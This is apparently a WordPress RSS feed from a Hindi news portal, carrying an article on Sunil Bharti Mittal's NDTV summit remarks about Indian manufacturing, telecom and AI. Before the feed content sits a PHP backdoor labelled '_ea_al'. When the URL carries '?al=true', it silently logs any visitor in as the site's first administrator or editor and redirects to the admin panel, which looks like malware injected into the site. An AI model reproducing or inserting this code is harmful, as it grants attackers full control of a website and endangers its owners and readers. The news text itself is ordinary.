// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Sunil Bharti Mittal – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 22 Oct 2024 10:56:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 भारत अब उत्पादन और निर्यात के लिए एक वैश्विक मंच बन गया है : सुनील भारती मित्तल https://pratyushaashakinayikiran.com/?p=88488 Tue, 22 Oct 2024 10:56:00 +0000 https://pratyushaashakinayikiran.com/?p=88488 नई दिल्ली
 देश की दूसरी सबसे बड़ी टेलीकॉम कंपनी भारती एयरटेल के प्रमुख सुनील भारती मित्तल ने कहा कि भारत एक ऐसा देश बन गया है, जहां आप स्थानीय स्तर पर उत्पादन, उपयोग और निर्यात कर सकते हैं।

उन्होंने आगे कहा कि भारत से बहुत सारी कंपनियां वैश्विक स्तर पर उभर रही हैं। मौजूदा समय में देश की 95 प्रतिशत जनता को अच्छी क्वालिटी सिग्नल मिल रहे हैं। इसके कारण देश को डिजिटल की तरफ ले जाने में मदद मिली है।

मित्तल के मुताबिक, मोबाइल नेटवर्क की क्वालिटी के मामले में हम अमेरिका, यूके और यूरोप से काफी आगे हैं।

‘एनडीटीवी वर्ल्ड समिट-2024’ में बोलते हुए मित्तल ने कहा कि हमारे पड़ोसियों के विपरीत भारत के पैसे का वैश्विक मंच पर स्वागत किया जाता है।

मित्तल ने आगे कहा कि चीन के निवेशों को ब्लॉक किया जा रहा है। पश्चिमी देश भी निजी निवेश को पसंद कर रहे हैं। हम देख रहे हैं कि भारत से जीएमआर एयरपोर्ट्स और अदाणी वैश्विक स्तर पर जा रहे हैं।

टेलीकॉम कारोबारी ने कहा कि हमें अपने देश में सिंगापुर और जापान जैसे इन्फ्रास्ट्रक्चर को विकसित करना होगा। सभी निवेशकों के लिए नीति का पूर्वानुमान आवश्यक है। पिछले दशक में हमने अधिक स्थिरता देखी है, नियम सरल हुए हैं।

उन्होंने आगे कहा कि सभी उद्योगपतियों को पता है कि देश में खपत बढ़ने जा रही है।

मित्तल ने आगे कहा कि सरकार की ओर से इन्फ्रास्ट्रक्चर में निवेश को प्रोत्साहित किया जा रहा है। एयरटेल की ओर से 30,000-35,000 करोड़ रुपये डिजिटल इन्फ्रास्ट्रक्चर पर खर्च किए जा रहे हैं।

आर्टिफिशियल इंटेलिजेंस (एआई) पर उन्होंने कहा कि यह अर्थव्यवस्था, राजनीति और भू-राजनीति के लिए काफी प्रमुख होने वाला है। एआई का दुरुपयोग भी होगा, हमें और अधिक सतर्क रहना होगा।

 

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